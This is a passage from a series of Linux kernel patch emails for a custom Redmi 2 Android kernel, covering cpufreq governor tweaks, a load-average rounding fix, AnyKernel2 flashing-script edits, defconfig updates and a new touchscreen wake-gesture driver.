b/drivers/cpufreq/cpufreq_conservative.c @@ -60,6 +60,16 @@ static void cs_check_cpu(int cpu, unsigned int load) if (cs_tuners->freq_step == 0) return; + if (dbs_info->cdbs.deferred_periods < UINT_MAX) { + unsigned int freq_target = dbs_info->cdbs.deferred_periods * + get_freq_target(cs_tuners->freq_step, policy); + if (dbs_info->requested_freq > freq_target) + dbs_info->requested_freq -= freq_target; + else + dbs_info->requested_freq = policy->min; + dbs_info->cdbs.deferred_periods = UINT_MAX; + } + if (jiffies_to_msecs(jiffies - touch_jiffies) > cs_tuners->touch_load_duration) touch = true; diff --git a/drivers/cpufreq/cpufreq_governor.c b/drivers/cpufreq/cpufreq_governor.c index 10e2b7ae16c23..e559678735435 100644 --- a/drivers/cpufreq/cpufreq_governor.c +++ b/drivers/cpufreq/cpufreq_governor.c @@ -41,7 +41,7 @@ void dbs_check_cpu(struct dbs_data *dbs_data, int cpu) struct cs_dbs_tuners *cs_tuners = dbs_data->tuners; struct cpufreq_policy *policy; unsigned int sampling_rate; - unsigned int max_load = 0; + unsigned int max_load = 0, deferred_periods = UINT_MAX; unsigned int ignore_nice; unsigned int j; @@ -134,6 +134,10 @@ void dbs_check_cpu(struct dbs_data *dbs_data, int cpu) */ if (unlikely(wall_time > (2 * sampling_rate))) { unsigned int busy = wall_time - idle_time; + unsigned int periods = wall_time / sampling_rate; + + if (periods < deferred_periods) + deferred_periods = periods; if (busy > sampling_rate) load = 100; @@ -146,6 +150,7 @@ void dbs_check_cpu(struct dbs_data *dbs_data, int cpu) if (load > max_load) max_load = load; } + cdbs->deferred_periods = deferred_periods; dbs_data->cdata->gov_check_cpu(cpu, max_load); } diff --git a/drivers/cpufreq/cpufreq_governor.h b/drivers/cpufreq/cpufreq_governor.h index 5f30dac7b470c..9d1f582e68a32 100644 --- a/drivers/cpufreq/cpufreq_governor.h +++ b/drivers/cpufreq/cpufreq_governor.h @@ -134,6 +134,7 @@ struct cpu_dbs_common_info { u64 prev_cpu_idle; u64 prev_cpu_wall; u64 prev_cpu_nice; + unsigned int deferred_periods; struct cpufreq_policy *cur_policy; struct delayed_work work; /* From 4226cb32037168582de1660165c3a029266067a4 Mon Sep 17 00:00:00 2001 From: Francisco Franco Date: Wed, 23 Nov 2016 22:56:10 +0000 Subject: [PATCH 287/365] sched/loadavg: Fix loadavg artifacts on fully idle and on fully loaded systems Systems show a minimal load average of 0.00, 0.01, 0.05 even when they have no load at all. Uptime and /proc/loadavg on all systems with kernels released during the last five years up until kernel version 4.6-rc5, show a 5- and 15-minute minimum loadavg of 0.01 and 0.05 respectively. This should be 0.00 on idle systems, but the way the kernel calculates this value prevents it from getting lower than the mentioned values. Likewise but not as obviously noticeable, a fully loaded system with no processes waiting, shows a maximum 1/5/15 loadavg of 1.00, 0.99, 0.95 (multiplied by number of cores). Once the (old) load becomes 93 or higher, it mathematically can never get lower than 93, even when the active (load) remains 0 forever. This results in the strange 0.00, 0.01, 0.05 uptime values on idle systems. Note: 93/2048 = 0.0454..., which rounds up to 0.05. It is not correct to add a 0.5 rounding (=1024/2048) here, since the result from this function is fed back into the next iteration again, so the result of that +0.5 rounding value then gets multiplied by (2048-2037), and then rounded again, so there is a virtual "ghost" load created, next to the old and active load terms. By changing the way the internally kept value is rounded, that internal value equivalent now can reach 0.00 on idle, and 1.00 on full load. Upon increasing load, the internally kept load value is rounded up, when the load is decreasing, the load value is rounded down. The modified code was tested on nohz=off and nohz kernels. It was tested on vanilla kernel 4.6-rc5 and on centos 7.1 kernel 3.10.0-327. It was tested on single, dual, and octal cores system. It was tested on virtual hosts and bare hardware. No unwanted effects have been observed, and the problems that the patch intended to fix were indeed gone. Tested-by: Damien Wyart Signed-off-by: Vik Heyndrickx Signed-off-by: Peter Zijlstra (Intel) Cc: Cc: Doug Smythies Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: 0f004f5 ("sched: Cure more NO_HZ load average woes") Link: http://lkml.kernel.org/r/e8d32bff-d544-7748-72b5-3c86cc71f09f@veribox.net Signed-off-by: Ingo Molnar [Francisco: adapted for Angler] Signed-off-by: Francisco Franco --- kernel/sched/core.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/kernel/sched/core.c b/kernel/sched/core.c index 4471436b4a01d..39c77fa3d3718 100644 --- a/kernel/sched/core.c +++ b/kernel/sched/core.c @@ -3905,10 +3905,13 @@ static long calc_load_fold_active(struct rq *this_rq) static unsigned long calc_load(unsigned long load, unsigned long exp, unsigned long active) { - load *= exp; - load += active * (FIXED_1 - exp); - load += 1UL << (FSHIFT - 1); - return load >> FSHIFT; + unsigned long newload; + + newload = load * exp + active * (FIXED_1 - exp); + if (active >= load) + newload += FIXED_1-1; + + return newload / FIXED_1; } #ifdef CONFIG_NO_HZ_COMMON From c1e50e385567fa5fa3d385c73ea8bd2347e15177 Mon Sep 17 00:00:00 2001 From: franciscofranco Date: Thu, 15 Dec 2016 17:49:20 +0530 Subject: [PATCH 288/365] msm: Use interruptible wait to not affect load average Signed-off-by: franciscofranco --- drivers/slimbus/slim-msm-ngd.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/drivers/slimbus/slim-msm-ngd.c b/drivers/slimbus/slim-msm-ngd.c index 5f79c440e652e..343324af0fc7c 100644 --- a/drivers/slimbus/slim-msm-ngd.c +++ b/drivers/slimbus/slim-msm-ngd.c @@ -1212,7 +1212,7 @@ static int ngd_slim_rx_msgq_thread(void *data) while (!kthread_should_stop()) { set_current_state(TASK_INTERRUPTIBLE); - wait_for_completion(notify); + wait_for_completion_interruptible(notify); /* 1 irq notification per message */ if (dev->use_rx_msgqs != MSM_MSGQ_ENABLED) { msm_slim_rx_dequeue(dev, (u8 *)buffer); @@ -1258,7 +1258,7 @@ static int ngd_notify_slaves(void *data) while (!kthread_should_stop()) { set_current_state(TASK_INTERRUPTIBLE); - wait_for_completion(&dev->qmi.slave_notify); + wait_for_completion_interruptible(&dev->qmi.slave_notify); /* Probe devices for first notification */ if (!i) { i++; From e8d907e18b7547daf23fbbb7d0b98b311191f8b3 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Thu, 15 Dec 2016 17:50:30 +0530 Subject: [PATCH 289/365] anykernel: cleanup --- AnyKernel2/META-INF/com/google/android/updater-script | 2 +- AnyKernel2/anykernel.sh | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/AnyKernel2/META-INF/com/google/android/updater-script b/AnyKernel2/META-INF/com/google/android/updater-script index af670826fb7ac..8582673c7998b 100644 --- a/AnyKernel2/META-INF/com/google/android/updater-script +++ b/AnyKernel2/META-INF/com/google/android/updater-script @@ -1 +1 @@ -assert(getprop("ro.product.device") == "HM2014811" || getprop("ro.build.product") == "HM2014811" || getprop("ro.product.device") == "HM2014812" || getprop("ro.build.product") == "HM2014812" || getprop("ro.product.device") == "HM2014813" || getprop("ro.build.product") == "HM2014813" || getprop("ro.product.device") == "HM2014814" || getprop("ro.build.product") == "HM2014814" || getprop("ro.product.device") == "HM2014815" || getprop("ro.build.product") == "HM2014815" || getprop("ro.product.device") == "HM2014816" || getprop("ro.build.product") == "HM2014816" || getprop("ro.product.device") == "HM2014817" || getprop("ro.build.product") == "HM2014817" || getprop("ro.product.device") == "HM2014818" || getprop("ro.build.product") == "HM2014818" || getprop("ro.product.device") == "HM2014819" || getprop("ro.build.product") == "HM2014819" || getprop("ro.product.device") == "HM2014820" || getprop("ro.build.product") == "HM2014820" || getprop("ro.product.device") == "HM2014821" || getprop("ro.build.product") == "HM2014821" || abort("This package is for device: HM2014811,HM2014812,HM2014813,HM2014814,HM2014815,HM2014816,HM2014817,HM2014818,HM2014819,HM2014820,HM2014821; this device is " + getprop("ro.product.device") + ".");); +# Dummy file; update-binary is a shell script. diff --git a/AnyKernel2/anykernel.sh b/AnyKernel2/anykernel.sh index a6ef4bb3bca3e..44cb2c792b589 100755 --- a/AnyKernel2/anykernel.sh +++ b/AnyKernel2/anykernel.sh @@ -8,8 +8,8 @@ do.devicecheck=0 do.initd=1 do.modules=0 do.cleanup=1 -device.name1=wt88047 -device.name2=Redmi 2 +device.name1= +device.name2= device.name3= device.name4= device.name5= @@ -35,7 +35,7 @@ dump_boot; # begin ramdisk changes # add zetsubou initialization script -insert_line init.rc "import /init.zetsubou.rc" after "import /init.cm.rc" "import /init.zetsubou.rc"; +insert_line init.rc "import /init.zetsubou.rc" after "import /init.environ.rc" "import /init.zetsubou.rc"; # end ramdisk changes From cf9e4a98257444f29a1ac0db03e18f1d33d79db8 Mon Sep 17 00:00:00 2001 From: Joe Maples Date: Wed, 5 Oct 2016 20:01:07 +0530 Subject: [PATCH 290/365] anykernel: add frandom compatibility --- AnyKernel2/anykernel.sh | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/AnyKernel2/anykernel.sh b/AnyKernel2/anykernel.sh index 44cb2c792b589..058bff1829794 100755 --- a/AnyKernel2/anykernel.sh +++ b/AnyKernel2/anykernel.sh @@ -37,6 +37,14 @@ dump_boot; # add zetsubou initialization script insert_line init.rc "import /init.zetsubou.rc" after "import /init.environ.rc" "import /init.zetsubou.rc"; +# Add frandom compatibility +backup_file ueventd.rc; +insert_line ueventd.rc "frandom" after "urandom" "/dev/frandom 0666 root root\n"; +insert_line ueventd.rc "erandom" after "urandom" "/dev/erandom 0666 root root\n"; +backup_file file_contexts; +insert_line file_contexts "frandom" after "urandom" "/dev/frandom u:object_r:frandom_device:s0\n"; +insert_line file_contexts "erandom" after "urandom" "/dev/erandom u:object_r:erandom_device:s0\n"; + # end ramdisk changes write_boot; From d1a4f089be32fd10fb49f0878afb7f4f0586310f Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Thu, 15 Dec 2016 20:00:27 +0530 Subject: [PATCH 291/365] update defconfig --- arch/arm/configs/zetsubou_defconfig | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 08b35d18fe832..4b59011fe8624 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -390,6 +390,7 @@ CONFIG_SENSORS_ADSP=y # CONFIG_MSM_HSIC_SYSMON is not set CONFIG_MSM_ENABLE_WDOG_DEBUG_CONTROL=y # CONFIG_KRAIT_REGULATOR is not set +CONFIG_FORCE_FAST_CHARGE=y # CONFIG_PLAT_SPEAR is not set # @@ -567,7 +568,7 @@ CONFIG_CPU_FREQ_GOV_POWERSAVE=y # CONFIG_CPU_FREQ_GOV_USERSPACE is not set CONFIG_CPU_FREQ_GOV_ONDEMAND=y CONFIG_CPU_FREQ_GOV_INTERACTIVE=y -# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set +CONFIG_CPU_FREQ_GOV_CONSERVATIVE=y CONFIG_CPU_BOOST=y # @@ -873,7 +874,7 @@ CONFIG_NF_CONNTRACK_PROC_COMPAT=y CONFIG_IP_NF_IPTABLES=y CONFIG_IP_NF_MATCH_AH=y CONFIG_IP_NF_MATCH_ECN=y -# CONFIG_IP_NF_MATCH_RPFILTER is not set +CONFIG_IP_NF_MATCH_RPFILTER=y CONFIG_IP_NF_MATCH_TTL=y CONFIG_IP_NF_FILTER=y CONFIG_IP_NF_TARGET_REJECT=y @@ -1685,6 +1686,7 @@ CONFIG_UNIX98_PTYS=y # CONFIG_TRACE_SINK is not set # CONFIG_DEVMEM is not set # CONFIG_DEVKMEM is not set +CONFIG_FRANDOM=y # # Serial drivers @@ -3845,6 +3847,7 @@ CONFIG_CRC32_SLICEBY8=y CONFIG_LIBCRC32C=y # CONFIG_CRC8 is not set CONFIG_AUDIT_GENERIC=y +# CONFIG_RANDOM32_SELFTEST is not set CONFIG_ZLIB_INFLATE=y CONFIG_ZLIB_DEFLATE=y CONFIG_LZO_COMPRESS=y From 3bdba6f372699bfe98112c11f82d3fa32a83ef4a Mon Sep 17 00:00:00 2001 From: Aaron Segaert Date: Sat, 17 Dec 2016 10:47:56 +0530 Subject: [PATCH 292/365] wake_gestures: add sweep2wake, doubletap2wake and sweep2sleep for Redmi 2 --- drivers/input/touchscreen/Kconfig | 3 + drivers/input/touchscreen/Makefile | 1 + drivers/input/touchscreen/ft5x06_ts.c | 68 ++ drivers/input/touchscreen/wake_gestures.c | 798 ++++++++++++++++++++++ include/linux/wake_gestures.h | 37 + 5 files changed, 907 insertions(+) create mode 100644 drivers/input/touchscreen/wake_gestures.c create mode 100644 include/linux/wake_gestures.h diff --git a/drivers/input/touchscreen/Kconfig b/drivers/input/touchscreen/Kconfig index 17412fcdcf710..eea5c4c7dd8f6 100755 --- a/drivers/input/touchscreen/Kconfig +++ b/drivers/input/touchscreen/Kconfig @@ -1160,4 +1160,7 @@ config TOUCHSCREEN_IT7260_I2C To compile this driver as a module, choose M here: the module will be called it7258_ts_i2c. +config WAKE_GESTURES + bool "wake gestures" + endif diff --git a/drivers/input/touchscreen/Makefile b/drivers/input/touchscreen/Makefile index 92cd93ac3e602..29babe2563851 100755 --- a/drivers/input/touchscreen/Makefile +++ b/drivers/input/touchscreen/Makefile @@ -100,3 +100,4 @@ obj-$(CONFIG_MACH_LONGCHEER) += lct_if_ctp_upgrade.o obj-$(CONFIG_TOUCHSCREEN_MSG2XXX) += msg2xxx.o obj-$(CONFIG_MACH_YULONG) += touchscreen_yl.o +obj-$(CONFIG_WAKE_GESTURES) += wake_gestures.o diff --git a/drivers/input/touchscreen/ft5x06_ts.c b/drivers/input/touchscreen/ft5x06_ts.c index efe8e2f771531..a615627104f0c 100755 --- a/drivers/input/touchscreen/ft5x06_ts.c +++ b/drivers/input/touchscreen/ft5x06_ts.c @@ -43,6 +43,10 @@ #define FT_SUSPEND_LEVEL 1 #endif +#ifdef CONFIG_WAKE_GESTURES +#include +#endif + #define FT_DRIVER_VERSION 0x02 #define FT_META_REGS 3 @@ -280,6 +284,14 @@ struct ft5x06_ts_data { struct pinctrl_state *pinctrl_state_release; }; +#ifdef CONFIG_WAKE_GESTURES +struct ft5x06_ts_data *ft5x06_ts = NULL; + +bool scr_suspended_ft(void) { + return ft5x06_ts->suspended; +} +#endif + static int ft5x06_ts_start(struct device *dev); static int ft5x06_ts_stop(struct device *dev); @@ -789,6 +801,11 @@ static irqreturn_t ft5x06_ts_interrupt(int irq, void *dev_id) if (!num_touches && !status && !id) break; +#ifdef CONFIG_WAKE_GESTURES + if (data->suspended) + x += 5000; +#endif + input_mt_slot(ip_dev, id); if (status == FT_TOUCH_DOWN || status == FT_TOUCH_CONTACT) { input_mt_report_slot_state(ip_dev, MT_TOOL_FINGER, 1); @@ -1219,6 +1236,19 @@ static int ft5x06_ts_suspend(struct device *dev) return 0; } +#ifdef CONFIG_WAKE_GESTURES + if (device_may_wakeup(dev) && (s2w_switch || dt2w_switch)) { + ft5x0x_write_reg(data->client, 0xD0, 1); + err = enable_irq_wake(data->client->irq); + if (err) + dev_err(&data->client->dev, + "%s: set_irq_wake failed\n", __func__); + data->suspended = true; + + return err; + } +#endif + if (ft5x06_psensor_support_enabled() && data->pdata->psensor_support && device_may_wakeup(dev) && data->psensor_pdata->tp_psensor_opened) { @@ -1252,11 +1282,44 @@ static int ft5x06_ts_resume(struct device *dev) struct ft5x06_ts_data *data = dev_get_drvdata(dev); int err; +#ifdef CONFIG_WAKE_GESTURES + int i; +#endif if (!data->suspended) { dev_dbg(dev, "Already in awake state\n"); return 0; } +#ifdef CONFIG_WAKE_GESTURES + if (device_may_wakeup(dev) && (s2w_switch || dt2w_switch)) { + ft5x0x_write_reg(data->client, 0xD0, 0); + + for (i = 0; i < data->pdata->num_max_touches; i++) { + input_mt_slot(data->input_dev, i); + input_mt_report_slot_state(data->input_dev, MT_TOOL_FINGER, 0); + } + input_mt_report_pointer_emulation(data->input_dev, false); + input_sync(data->input_dev); + + err = disable_irq_wake(data->client->irq); + if (err) + dev_err(dev, "%s: disable_irq_wake failed\n", + __func__); + data->suspended = false; + + if (dt2w_switch_changed) { + dt2w_switch = dt2w_switch_temp; + dt2w_switch_changed = false; + } + if (s2w_switch_changed) { + s2w_switch = s2w_switch_temp; + s2w_switch_changed = false; + } + + return err; + } +#endif + if (ft5x06_psensor_support_enabled() && data->pdata->psensor_support && device_may_wakeup(dev) && data->psensor_pdata->tp_psensor_opened) { @@ -2400,6 +2463,11 @@ static int ft5x06_ts_probe(struct i2c_client *client, } } +#ifdef CONFIG_WAKE_GESTURES + ft5x06_ts = data; + device_init_wakeup(&client->dev, 1); +#endif + err = device_create_file(&client->dev, &dev_attr_fw_name); if (err) { dev_err(&client->dev, "sys file creation failed\n"); diff --git a/drivers/input/touchscreen/wake_gestures.c b/drivers/input/touchscreen/wake_gestures.c new file mode 100644 index 0000000000000..cadf77e2790b9 --- /dev/null +++ b/drivers/input/touchscreen/wake_gestures.c @@ -0,0 +1,798 @@ +/* + * drivers/input/touchscreen/wake_gestures.c + * + * + * Copyright (c) 2013, Dennis Rassmann + * Copyright (c) 2013-16 Aaron Segaert + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +/* +#include +*/ + +/* Tuneables */ +#define WG_DEBUG 0 +#define WG_DEFAULT 0 +#define DT2W_DEFAULT 0 +#define S2W_DEFAULT 0 +#define S2S_DEFAULT 0 +#define WG_PWRKEY_DUR 60 + +/* Redmi 2 */ +#define SWEEP_Y_MAX 1280 +#define SWEEP_X_MAX 720 +#define SWEEP_EDGE 90 +#define SWEEP_Y_LIMIT SWEEP_Y_MAX-SWEEP_EDGE +#define SWEEP_X_LIMIT SWEEP_X_MAX-SWEEP_EDGE +#define SWEEP_Y_LIMIT_ATMEL 1024-SWEEP_EDGE +#define SWEEP_X_LIMIT_ATMEL 1024-SWEEP_EDGE +#define SWEEP_X_B1 399 +#define SWEEP_X_B2 720 +#define SWEEP_Y_START 800 +#define SWEEP_X_START 540 +#define SWEEP_X_FINAL 270 +#define SWEEP_Y_NEXT 135 +#define DT2W_FEATHER 150 +#define DT2W_TIME 500 + +/* Wake Gestures */ +#define SWEEP_TIMEOUT 300 +#define TRIGGER_TIMEOUT 500 +#define WAKE_GESTURE 0x0b +#define SWEEP_RIGHT 0x01 +#define SWEEP_LEFT 0x02 +#define SWEEP_UP 0x04 +#define SWEEP_DOWN 0x08 +#define VIB_STRENGTH 30 + +#define WAKE_GESTURES_ENABLED 1 + +#define LOGTAG "WG" +#define ATMEL 2 + +#if (WAKE_GESTURES_ENABLED) +int gestures_switch = WG_DEFAULT; +static struct input_dev *gesture_dev; +#endif + +/* Resources */ +int s2w_switch = S2W_DEFAULT; +int s2w_switch_temp; +bool s2w_switch_changed = false; +int dt2w_switch = DT2W_DEFAULT; +int dt2w_switch_temp; +bool dt2w_switch_changed = false; +static int s2s_switch = S2S_DEFAULT; +static int touch_x = 0, touch_y = 0; +static bool touch_x_called = false, touch_y_called = false; +static bool exec_countx = true, exec_county = true, exec_count = true; +static bool barrierx[2] = {false, false}, barriery[2] = {false, false}; +static int firstx = 0, firsty = 0; +static int sweep_y_limit = SWEEP_Y_LIMIT; +static int sweep_x_limit = SWEEP_X_LIMIT; +static unsigned long firstx_time = 0, firsty_time = 0; +static unsigned long pwrtrigger_time[2] = {0, 0}; +static unsigned long long tap_time_pre = 0; +static int touch_nr = 0, x_pre = 0, y_pre = 0; +static bool touch_cnt = true; +static int vib_strength = VIB_STRENGTH; +static int hw_version = 0; + +static struct input_dev * wake_dev; +static DEFINE_MUTEX(pwrkeyworklock); +static struct workqueue_struct *s2w_input_wq; +static struct workqueue_struct *dt2w_input_wq; +static struct work_struct s2w_input_work; +static struct work_struct dt2w_input_work; + +static bool is_suspended(void) +{ + if (hw_version == ATMEL) + return scr_suspended(); + else + return scr_suspended_ft(); +} + +/* Wake Gestures */ +#if (WAKE_GESTURES_ENABLED) +static void report_gesture(int gest) +{ + pwrtrigger_time[1] = pwrtrigger_time[0]; + pwrtrigger_time[0] = ktime_to_ms(ktime_get()); + + if (pwrtrigger_time[0] - pwrtrigger_time[1] < TRIGGER_TIMEOUT) + return; + + input_report_rel(gesture_dev, WAKE_GESTURE, gest); + input_sync(gesture_dev); +} +#endif + +/* PowerKey work func */ +static void wake_presspwr(struct work_struct * wake_presspwr_work) { + if (!mutex_trylock(&pwrkeyworklock)) + return; + + input_event(wake_dev, EV_KEY, KEY_POWER, 1); + input_event(wake_dev, EV_SYN, 0, 0); + msleep(WG_PWRKEY_DUR); + input_event(wake_dev, EV_KEY, KEY_POWER, 0); + input_event(wake_dev, EV_SYN, 0, 0); + msleep(WG_PWRKEY_DUR); + mutex_unlock(&pwrkeyworklock); + +// set_vibrate(vib_strength); + + return; +} +static DECLARE_WORK(wake_presspwr_work, wake_presspwr); + +/* PowerKey trigger */ +static void wake_pwrtrigger(void) { + pwrtrigger_time[1] = pwrtrigger_time[0]; + pwrtrigger_time[0] = ktime_to_ms(ktime_get()); + + if (pwrtrigger_time[0] - pwrtrigger_time[1] < TRIGGER_TIMEOUT) + return; + + schedule_work(&wake_presspwr_work); + + return; +} + + +/* Doubletap2wake */ + +static void doubletap2wake_reset(void) { + exec_count = true; + touch_nr = 0; + tap_time_pre = 0; + x_pre = 0; + y_pre = 0; +} + +static unsigned int calc_feather(int coord, int prev_coord) { + int calc_coord = 0; + calc_coord = coord-prev_coord; + if (calc_coord < 0) + calc_coord = calc_coord * (-1); + return calc_coord; +} + +/* init a new touch */ +static void new_touch(int x, int y) { + tap_time_pre = ktime_to_ms(ktime_get()); + x_pre = x; + y_pre = y; + touch_nr++; +} + +/* Doubletap2wake main function */ +static void detect_doubletap2wake(int x, int y, bool st) +{ + bool single_touch = st; +#if WG_DEBUG + pr_info(LOGTAG"x,y(%4d,%4d) tap_time_pre:%llu\n", + x, y, tap_time_pre); +#endif + if (x < SWEEP_EDGE || x > sweep_x_limit) + return; + if (y < SWEEP_EDGE || y > sweep_y_limit) + return; + + if ((single_touch) && (dt2w_switch) && (exec_count) && (touch_cnt)) { + touch_cnt = false; + if (touch_nr == 0) { + new_touch(x, y); + } else if (touch_nr == 1) { + if ((calc_feather(x, x_pre) < DT2W_FEATHER) && + (calc_feather(y, y_pre) < DT2W_FEATHER) && + ((ktime_to_ms(ktime_get())-tap_time_pre) < DT2W_TIME)) + touch_nr++; + else { + doubletap2wake_reset(); + new_touch(x, y); + } + } else { + doubletap2wake_reset(); + new_touch(x, y); + } + if ((touch_nr > 1)) { + exec_count = false; +#if (WAKE_GESTURES_ENABLED) + if (gestures_switch) { + report_gesture(5); + } else { +#endif + wake_pwrtrigger(); +#if (WAKE_GESTURES_ENABLED) + } +#endif + doubletap2wake_reset(); + } + } +} + + +/* Sweep2wake/Sweep2sleep */ +static void sweep2wake_reset(void) { + + exec_countx = true; + barrierx[0] = false; + barrierx[1] = false; + firstx = 0; + firstx_time = 0; + + exec_county = true; + barriery[0] = false; + barriery[1] = false; + firsty = 0; + firsty_time = 0; +} + +/* Sweep2wake main functions*/ +static void detect_sweep2wake_v(int x, int y, bool st) +{ + int prevy = 0, nexty = 0; + bool single_touch = st; + + if (firsty == 0) { + firsty = y; + firsty_time = ktime_to_ms(ktime_get()); + } + +#if WG_DEBUG + pr_info(LOGTAG"s2w vert x,y(%4d,%4d) single:%s\n", + x, y, (single_touch) ? "true" : "false"); +#endif + + //sweep up + if (firsty > SWEEP_Y_START && single_touch && s2w_switch & SWEEP_UP) { + prevy = firsty; + nexty = prevy - SWEEP_Y_NEXT; + if (barriery[0] == true || (y < prevy && y > nexty)) { + prevy = nexty; + nexty -= SWEEP_Y_NEXT; + barriery[0] = true; + if (barriery[1] == true || (y < prevy && y > nexty)) { + prevy = nexty; + barriery[1] = true; + if (y < prevy) { + if (y < (nexty - SWEEP_Y_NEXT)) { + if (exec_county && (ktime_to_ms(ktime_get()) - firsty_time < SWEEP_TIMEOUT)) { +#if (WAKE_GESTURES_ENABLED) + if (gestures_switch) { + report_gesture(3); + } else { +#endif + wake_pwrtrigger(); +#if (WAKE_GESTURES_ENABLED) + } +#endif + exec_county = false; + } + } + } + } + } + //sweep down + } else if (firsty <= SWEEP_Y_START && single_touch && s2w_switch & SWEEP_DOWN) { + prevy = firsty; + nexty = prevy + SWEEP_Y_NEXT; + if (barriery[0] == true || (y > prevy && y < nexty)) { + prevy = nexty; + nexty += SWEEP_Y_NEXT; + barriery[0] = true; + if (barriery[1] == true || (y > prevy && y < nexty)) { + prevy = nexty; + barriery[1] = true; + if (y > prevy) { + if (y > (nexty + SWEEP_Y_NEXT)) { + if (exec_county && (ktime_to_ms(ktime_get()) - firsty_time < SWEEP_TIMEOUT)) { +#if (WAKE_GESTURES_ENABLED) + if (gestures_switch) { + report_gesture(4); + } else { +#endif + wake_pwrtrigger(); +#if (WAKE_GESTURES_ENABLED) + } +#endif + exec_county = false; + } + } + } + } + } + } + +} + +static void detect_sweep2wake_h(int x, int y, bool st, bool scr_suspended) +{ + int prevx = 0, nextx = 0; + bool single_touch = st; + + if (!scr_suspended && y < sweep_y_limit) { + sweep2wake_reset(); + return; + } + + if (firstx == 0) { + firstx = x; + firstx_time = ktime_to_ms(ktime_get()); + } + +#if WG_DEBUG + pr_info(LOGTAG"s2w Horz x,y(%4d,%4d) wake:%s\n", + x, y, (scr_suspended) ? "true" : "false"); +#endif + //left->right + if (firstx < SWEEP_X_START && single_touch && + ((scr_suspended && (s2w_switch & SWEEP_RIGHT)) || + (!scr_suspended && (s2s_switch & SWEEP_RIGHT)))) { + prevx = 0; + nextx = SWEEP_X_B1; + if ((barrierx[0] == true) || + ((x > prevx) && (x < nextx))) { + prevx = nextx; + nextx = SWEEP_X_B2; + barrierx[0] = true; + if ((barrierx[1] == true) || + ((x > prevx) && (x < nextx))) { + prevx = nextx; + barrierx[1] = true; + if (x > prevx) { + if (x > (SWEEP_X_MAX - SWEEP_X_FINAL)) { + if (exec_countx && (ktime_to_ms(ktime_get()) - firstx_time < SWEEP_TIMEOUT)) { +#if (WAKE_GESTURES_ENABLED) + if (gestures_switch && scr_suspended) { + report_gesture(1); + } else { +#endif + wake_pwrtrigger(); +#if (WAKE_GESTURES_ENABLED) + } +#endif + exec_countx = false; + } + } + } + } + } + //right->left + } else if (firstx >= SWEEP_X_START && single_touch && + ((scr_suspended && (s2w_switch & SWEEP_LEFT)) || + (!scr_suspended && (s2s_switch & SWEEP_LEFT)))) { + prevx = (SWEEP_X_MAX - SWEEP_X_FINAL); + nextx = SWEEP_X_B2; + if ((barrierx[0] == true) || + ((x < prevx) && (x > nextx))) { + prevx = nextx; + nextx = SWEEP_X_B1; + barrierx[0] = true; + if ((barrierx[1] == true) || + ((x < prevx) && (x > nextx))) { + prevx = nextx; + barrierx[1] = true; + if (x < prevx) { + if (x < SWEEP_X_FINAL) { + if (exec_countx) { +#if (WAKE_GESTURES_ENABLED) + if (gestures_switch && scr_suspended) { + report_gesture(2); + } else { +#endif + wake_pwrtrigger(); +#if (WAKE_GESTURES_ENABLED) + } +#endif + exec_countx = false; + } + } + } + } + } + } +} + +static void s2w_input_callback(struct work_struct *unused) +{ + detect_sweep2wake_h(touch_x, touch_y, true, is_suspended()); + if (is_suspended()) + detect_sweep2wake_v(touch_x, touch_y, true); + + return; +} + +static void dt2w_input_callback(struct work_struct *unused) +{ + + if (is_suspended() && dt2w_switch) + detect_doubletap2wake(touch_x, touch_y, true); + return; +} + +static void wg_input_event(struct input_handle *handle, unsigned int type, + unsigned int code, int value) +{ + if (is_suspended() && code == ABS_MT_POSITION_X) { + value -= 5000; + } + +#if WG_DEBUG + pr_info("wg: code: %s|%u, val: %i\n", + ((code==ABS_MT_POSITION_X) ? "X" : + (code==ABS_MT_POSITION_Y) ? "Y" : + (code==ABS_MT_TRACKING_ID) ? "ID" : + "undef"), code, value); +#endif + + if (code == ABS_MT_SLOT) { + sweep2wake_reset(); + doubletap2wake_reset(); + return; + } + + if (code == ABS_MT_TRACKING_ID && value == -1) { + sweep2wake_reset(); + touch_cnt = true; + queue_work_on(0, dt2w_input_wq, &dt2w_input_work); + return; + } + + if (code == ABS_MT_POSITION_X) { + touch_x = value; + touch_x_called = true; + } + + if (code == ABS_MT_POSITION_Y) { + touch_y = value; + touch_y_called = true; + } + + if (touch_x_called && touch_y_called) { + touch_x_called = false; + touch_y_called = false; + queue_work_on(0, s2w_input_wq, &s2w_input_work); + } else if (!is_suspended() && touch_x_called && !touch_y_called) { + touch_x_called = false; + touch_y_called = false; + queue_work_on(0, s2w_input_wq, &s2w_input_work); + } +} + +static int input_dev_filter(struct input_dev *dev) { + if (strstr(dev->name, "ft5x06_ts")) { + return 0; + } else if (strstr(dev->name, "Atmel")) { + hw_version = ATMEL; + sweep_y_limit = SWEEP_Y_LIMIT_ATMEL; + sweep_x_limit = SWEEP_X_LIMIT_ATMEL; + return 0; + } else { + return 1; + } + return 0; +} + +static int wg_input_connect(struct input_handler *handler, + struct input_dev *dev, const struct input_device_id *id) { + struct input_handle *handle; + int error; + + if (input_dev_filter(dev)) + return -ENODEV; + + handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); + if (!handle) + return -ENOMEM; + + handle->dev = dev; + handle->handler = handler; + handle->name = "wg"; + + error = 